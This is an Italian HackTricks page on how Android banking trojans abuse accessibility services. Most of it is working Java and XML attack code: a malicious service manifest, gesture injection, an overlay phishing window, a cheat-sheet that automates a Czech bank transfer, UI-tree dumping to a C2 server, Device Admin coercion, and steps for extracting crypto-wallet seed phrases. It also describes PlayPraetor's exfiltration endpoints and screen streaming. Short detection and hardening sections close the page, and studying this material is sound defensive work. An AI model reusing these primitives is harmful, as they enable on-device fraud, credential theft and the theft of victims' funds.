Abuso dei servizi di Accessibilità Android

Reading time: 9 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

AccessibilityService è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Purtroppo le stesse API di automazione potenti (navigazione globale, input di testo, dispatch di gesture, finestre overlay…) possono essere sfruttate da malware per ottenere controllo remoto completo sul dispositivo senza privilegi di root.

I moderni banking Trojans per Android e i Remote-Access-Trojans (RATs) come PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda e molti altri seguono la stessa ricetta:

  1. Convincere tramite social engineering la vittima ad abilitare un servizio di accessibilità maligno (il permesso BIND_ACCESSIBILITY_SERVICE è considerato "high-risk" e richiede un'azione esplicita dell'utente).
  2. Sfruttare il servizio per
  • catturare ogni evento UI e il testo che appare sullo schermo,
  • iniettare gesture sintetiche (dispatchGesture) e azioni globali (performGlobalAction) per automatizzare qualsiasi operazione desiderata dall'operatore,
  • disegnare overlay a schermo intero sopra app legittime usando il tipo di finestra TYPE_ACCESSIBILITY_OVERLAY (nessun prompt SYSTEM_ALERT_WINDOW!),
  • concedere silenziosamente permessi runtime aggiuntivi cliccando sulle finestre di dialogo di sistema per conto della vittima.
  1. Esfiltrare dati o eseguire On-Device-Fraud (ODF) in tempo reale mentre l'utente osserva uno schermo perfettamente normale.

Richiedere il permesso

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

L'XML associato definisce come apparirà la finestra di dialogo falsa:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Primitive di automazione remota dell'interfaccia utente

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Con sole queste due API un attaccante può:

  • Sbloccare lo schermo, aprire l'app bancaria, navigare l'albero dell'interfaccia utente e inviare un modulo di trasferimento.
  • Accettare ogni dialogo di permesso che compare.
  • Installare/aggiornare APK aggiuntivi tramite l'intent del Play Store.

Modelli di abuso

1. Overlay Phishing (Credential Harvesting)

Un WebView trasparente o opaco viene aggiunto al window manager:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

La vittima digita le credenziali nel form fasullo mentre l'app in background riceve gli stessi gesti – non viene mai mostrato il sospetto prompt "draw over other apps".

Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.

2. On-Device Fraud automation

Famiglie di malware come PlayPraetor mantengono un canale WebSocket persistente dove l'operatore può inviare comandi di alto livello (init, update, alert_arr, report_list, …). Il servizio traduce quei comandi nei gesti a basso livello descritti sopra, realizzando transazioni non autorizzate in tempo reale che bypassano facilmente la multi-factor-authentication legata a quel dispositivo.

3. Screen streaming & monitoring

Combinando la MediaProjection API con una libreria client RTMP, il RAT può trasmettere il framebuffer live a rtmp://<c2>:1935/live/<device_id>, fornendo all'avversario perfetta consapevolezza situazionale mentre il motore Accessibility controlla l'UI.


PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – iterare su una lista hard-coded finché un dominio risponde POST /app/searchPackageName con il C2 attivo.
  2. WebSocket (port 8282) – comandi JSON bidirezionali:
  • update – push di nuove conf/APK
  • alert_arr – configurare template di overlay
  • report_list – inviare lista di package name target
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – streaming live dello schermo/video.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

The AccessibilityService è il motore locale che trasforma quei comandi cloud in interazioni fisiche.


Detecting malicious accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – cercare app che non provengono da Google Play.
  • Le soluzioni MDM / EMM possono imporre ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) per bloccare i servizi sideloaded.
  • Analizzare i servizi in esecuzione:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Hardening recommendations for app developers

  • Markare le view sensibili con android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combinare setFilterTouchesWhenObscured(true) con FLAG_SECURE per prevenire tap/overlay hijacking.
  • Rilevare overlay interrogando WindowManager.getDefaultDisplay().getFlags() o usando l'API ViewRootImpl.
  • Rifiutare di operare quando Settings.canDrawOverlays() o un Accessibility service non trusted è attivo.

ATS automation cheat-sheet (Accessibility-driven)

Malware può automatizzare completamente un'app bancaria usando solo le Accessibility APIs. Primitive generiche:

java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Example flow (Czech → English labels):

  • "Nová platba" (Nuovo pagamento) → clic
  • "Zadat platbu" (Inserisci pagamento) → clic
  • "Nový příjemce" (Nuovo destinatario) → clic
  • "Domácí číslo účtu" (Numero di conto domestico) → metti a fuoco e ACTION_SET_TEXT
  • "Další" (Avanti) → clic → … "Zaplatit" (Paga) → clic → inserire PIN

Fallback: coordinate codificate con dispatchGesture quando la ricerca testuale fallisce a causa di widget personalizzati.

Also seen: passaggi preliminari per check_limit e limit navigando nell'UI dei limiti e aumentando i limiti giornalieri prima del trasferimento.

Pseudo-streaming dello schermo basato su testo

Per il controllo remoto a bassa latenza, invece di uno streaming video completo, esporta una rappresentazione testuale dell'albero UI corrente e inviala ripetutamente al C2.

java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Questa è la base per comandi come txt_screen (una tantum) e screen_live (continuo).

Primitive di coercizione Device Admin

Una volta che un Device Admin receiver è attivato, queste chiamate aumentano le opportunità di catturare credenziali e mantenere il controllo:

java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Nota: la disponibilità esatta di queste policy varia a seconda della versione Android e dell'OEM; verificare il device policy role (admin vs owner) durante i test.

Pattern di estrazione delle seed-phrase dei wallet Crypto

Flussi osservati per MetaMask, Trust Wallet, Blockchain.com and Phantom:

  • Sbloccare con PIN rubato (catturato via overlay/Accessibility) o con la password del wallet fornita.
  • Navigare: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Raccogliere la frase tramite keylogging dei text nodes, secure-screen bypass, o screenshot OCR quando il testo è oscurato.
  • Supportare più locali (EN/RU/CZ/SK) per stabilizzare i selector – preferire viewIdResourceName quando disponibile, altrimenti fallback al matching multilingue del testo.

Orchestrazione NFC-relay

I moduli Accessibility/RAT possono installare e lanciare un'app NFC-relay dedicata (es. NFSkate) come terza fase e persino iniettare una guida overlay per accompagnare la vittima attraverso i passaggi del relay card-present.

Contesto e TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks